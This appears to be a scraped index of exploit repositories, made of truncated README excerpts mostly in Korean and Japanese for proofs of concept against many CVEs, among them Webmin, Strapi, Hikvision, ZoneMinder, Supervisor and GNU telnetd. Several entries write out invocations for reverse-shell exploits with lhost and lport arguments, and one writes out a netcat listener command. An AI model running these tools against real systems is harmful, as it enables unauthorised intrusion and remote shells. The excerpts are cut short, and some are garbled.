CVE-2020-24186

chmod +x CVE-2020-24186 ./CVE-2020-24186...

CVE-2026-40176-poc

CVE-2026-40176: Composer Perforce OS 명령 주입 PoC 영어 버전 개요 이 리포지토리는 Composer 의 Perforce VCS 드라이버에 존재하는 중대한 OS 명령 주입 취약점 CVE-2026-40176 의 Proof of ConceptPoC입니다. 이 취약점은 Composer 2.2.27 및 2.9.6 이전 버전에 영향을 미칩니다. 취약점은 Perforce::generateP4Command 메서드에 존재합니다. 셸 명령을 조립할 때 url, p4user, client 등의 리포지토리 설정 값에...

zoneminder-1.29-1.30-rce-exploit

ZoneMinder 1.29/1.30 SQLiからRCEへのエクスプロイト ZoneMinder 1.29/1.30 向けのすぐに実行できる Python エクスプロイトで、認証不要の SQL インジェクション（CVE-2016-10204 、EDB-41239）を連鎖させて、対話型リバースシェルまで到達します。 これは既知の修正済み CVE に対する weaponized/自動化された PoC であり、新しいエクスプロイトではありません。 このバグに対する EDB の PoC は SQLi ペイロードで止まるか、「sqlmap を向ける」だけです。このエクスプロイトは完全な SQL...

hikvision-unauthenticated-rce-cve-2021-36260

Hikvision CVE-2021-36260 RCE 취약점 취약점 설명 공격자는 이 취약점을 이용하여 제한된 보호 셸psh에 얽매인 장치 소유자와 관계없이 무제한 루트 셸로 장치를 완전히 제어할 수 있습니다. IP 카메라 침입 외에도 내부 네트워크에 접근하여 공격할 수 있습니다. FOFA header="Hikvision" app="HIKVISION-视频监控" 사용 방법 python ./CVE-2021-36260.py -u http://192.168.1.1:8080 --check python ./CVE-2021-36260.py ...

CVE-2026-4480-POC

CVE-2026-4480 - Samba 인쇄 하위 시스템 원격 코드 실행 개요 CVE-2026-4480 에 대한 개념 증명 및 연구 자료로, Samba 인쇄 하위 시스템에 영향을 미치는 치명적인 원격 코드 실행RCE 취약점입니다. 이 취약점은 %J 치환 매개변수를 통해 구성된 print command에 전달되는 사용자 제어 인쇄 작업 설명이 부적절하게 처리되어 발생합니다. 취약점 세부 정보 CVE: CVE-2026-4480 구성 요소: Samba 인쇄 하위 시스템 유형: OS 명령어 삽입 CWE-78 영향: 원격 코드 실행 공...

webmin_cve-2019-12840_poc

webmincve-2019-12840poc CVE-2019-12840에 대한 독립형 PoC입니다. 아래는 포트 443으로 리버스 셸을 전송합니다. $ python3 CVE-2019-12840.py -u https://192.168.122.10 -U matt -P Secret123 -lhost 192.168.122.1 -lport 443 / \ \ / / | | \ / / |/ \ / | \ / | || | / \ | | \ \ / /| | | | | || | || | | | || || | | | | | \ / / | |/...

metasploitable-nmap-recon

Metasploitable2 — Nmap Intensive Scan: 6-Port Vulnerability As...

CVE-2026-34234-Lab

CVE-2026-34234 - CtrlPanel 설치 프로그램 RCE 실습 환경 CtrlPanel에서 CVE-2026-34234를 시연하기 위한 로컬 Docker 실습 환경입니다. 이 저장소는 다음을 비교합니다: vuln: 다이제스트로 고정된 CtrlPanel 1.1.1 patched: 다이제스트로 고정된 CtrlPanel 1.2.0 실습 환경은 로컬 전용이며 서비스를 127.0.0.1에 바인딩합니다. 요약 CVE-2026-34234는 CtrlPanel 웹 설치 프로그램의 인증되지 않은 RCE원격 코드 실행입니다. 이 문제는 ...

CVE-2024-24590

ClearML 익스플로잇 이 저장소는 ClearML의 역직렬화 취약점에 대한 개념 증명 익스플로잇을 포함하고 있으며, 이를 통해 원격 명령 실행이 가능합니다. 이 익스플로잇은 악성 피클 아티팩트를 ClearML에 업로드하여 리버스 셸을 획득하는 방법을 보여줍니다. 사전 요구 사항 시작하기 전에 다음 요구 사항을 충족했는지 확인하세요: ClearML이 실행 중인 머신. Python 3.8 이상. clearml 라이브러리가 설치되어 있어야 합니다. pip를 사용하여 설치할 수 있습니다: pip install clearml...

React2Shell-CTF

🛡️ React2Shell CTF 🚀 React2Shell-CTF 에 오신 것을 환영합니다. 이는 React2Shell CVE-2025-55182 취약점을 악용하는 연습을 위해 설계된 Dockerized 환경입니다. React2Shell 은 React 기반 애플리케이션에 영향을 미치는 심각한 취약점입니다. 이 저장소는 이 결함을 이해하고 완화하는 데 도움이 되는 안전하고 로컬에서 배포 가능한 CTFCapture The Flag 챌린지를 제공합니다. 리버스 셸을 띄울 수 있나요? 🐚 ℹ️ 취약점 정보 CVE-2025-55182 에...

CVE-2019-9978

CVE-2019-9978 – Proof of Concept PoC 기능적 PoC CVE-2019-9978 취약점, Social Warfare = 3.5.2 플러그인에 영향을 미치며 WordPress에서 원격 코드 실행RCE을 허용합니다. 📌 설명 이 익스플로잇은 swpdebug=loadoptions 매개변수를 악용하여 원격 페이로드 로드를 강제하고, 대상 서버에서 명령 실행과 리버스 셸 획득을 허용합니다. ⚠️ 교육 목적 및 승인된 환경에서만 사용하십시오. 🧰 요구 사항 Python 3 Social Warfare = 3.5.2가...

CVE-2020-17530-s2-061

CVE-2020-17530-s2-061 s2-061 그래픽 인터페이스 exp, only for fun and practice 사용 python CVE-2020-17530.py 타겟 주소 입력 실행할 시스템 명령 입력 실행 클릭 PS: exp에 리버스 쉘 함수가 내장되어 있지만, GUI에 해당 버튼과 설정을 추가하기 귀찮아서 여기까지만 합니다...

strapi_cms_3.0.0-beta.17.7

Strapi CMS CVE-2019-18818 및 19606 Strapi CMS 버전 3.0.0-beta.17.7 이하에서 리버스 셸을 획득하기 위한 블라인드 원격 코드 실행 시작하기 프로그램 실행 Python3 사용 python3 strapiexp.py -t http://strapi.hack/ -e [email protected] -p newpassword -lhost 127.0.0.1 -lport 9001 도움말 도움말 프롬프트 python3 strapiexp.py -h 면책 조항 이 저장소에 제공된 모든 코드는...

Elastix-2.2.0-CVE-2012-4869

Elastix 2.2.0 로컬 파일 포함 취약점 익스플로잇 - CVE-2012-4869 설명 이 스크립트는 Elastix 2.2.0 의 로컬 파일 포함LFI 취약점을 이용하여 callmepage.php 엔드포인트를 통해 명령어를 주입함으로써 원격 코드 실행RCE을 가능하게 합니다. 이 익스플로잇은 CVE-2012-4869 를 기반으로 합니다. 특징 TLS 인증서 검증을 우회합니다. Perl 리버스 셸 페이로드를 사용합니다. 리버스 셸을 위한 사용자 정의 LHOST 및 LPORT 를 지원합니다. HTTPS 보안 경고를 억제합니다...

bin2shell

bin2shell bin2shell은 바이너리 파일에서 셸 코드를 추출하기 위한 아주 작은 유틸리티입니다. bash bin2shell.sh additionNum \x45\x6e\x74\x65\x72\x20\x4e\x75\x6d\x62\x65\x72\x20\x31\x20\x3a\x20\x45\x6e\x74\x65\x72\x20\x4e\x75\x6d 감사합니다 TOUHID SHAIKH...

CVE-2019-18818_CVE-2019-19609

CVE-2019-18818 및 CVE-2019-19609에 대한 익스플로잇 이 저장소에는 CVE-2019-18818 및 CVE-2019-19609의 두 가지 취약점을 악용하는 Python 스크립트가 포함되어 있습니다. CVE-2019-18818 이 취약점은 공격자가 Strapi CMS에서 관리자 사용자의 비밀번호를 재설정할 수 있게 합니다. 사용법 1. 스크립트의 target 및 strapiport 변수를 대상 Strapi 인스턴스에 맞게 수정하세요. 2. 스크립트를 실행하여 관리자 비밀번호를 재설정하세요...

op13-cve-2026-64560

OnePlus 13 OP5D0DL1 CVE-2026-64560 以下に示す正確な OnePlus 13 PJZ110 ビルド向けに、CVE-2026-64560 Android 実証コードをデバイス固有に適応させたものです。ADB シェルのみで動作するヘルパーを通じて、現在のブートに対する一時的な root アクセスを提供します。 !WARNING...

CVE-2026-24061

🚨 CVE-2026-24061 — “TelneTD” GNU Inetutils telnetd의 치명적인 원격 인증 우회 2015년의 유령이 돌아와 여전히 텔넷을 실행 중인 모든 것을 장악합니다. 인증 제로. 환경 변수 하나. 즉시 루트 쉘. ⚠️ 개요 CVE-2026-24061 은 GNU Inetutils telnetd ≤ 2.7 에서 발견된 심각한 원격 권한 상승 취약점입니다. 인증되지 않은 원격 공격자는 Telnet NEW-ENVIRON 옵션을 통해 USER 환경 변수를 "-f root"로 설정합니다. telnetd는 이를...

CVE-2017-11610

CVE-2017-11610 Supervisor 3.0a1 - 3.3.2용 인증 없는 리버스 셸 RCE Supervisor 3.0a13.3.2용 독립 실행형 Python ≥3.6 인증 없는 RCE 익스플로잇으로, 이 Metasploit 모듈에서 재작성되었습니다. 설명은 이 게시물을 참조하세요. Supervisor 3.3.2를 실행하는 이 대상 환경에서 Python 3.7로 테스트했습니다. 사용법: root@Kali:/Infosec/RubyStuff/Supervisor-3.3.2 ./exploit.py -h usage:...

CVE-2019-15107

CVE-2019-15107 https://www.cvedetails.com/cve/CVE-2019-15107/ Webmin =1.920에서 문제가 발견되었습니다. passwordchange.cgi의 "old" 및 "expire" 매개변수에 명령 주입 취약점이 존재합니다. 사용법 1. 빨간 박스에서 리스너를 시작합니다. rlwrap -cAr nc -lvp 1919 2. 익스플로잇을 실행합니다. ./exploit.sh 3. 인수가 요청됩니다: 대상의 IP 주소 Webmin이 실행 중인 대상 포트 보통 10000 로컬 리스너 포트...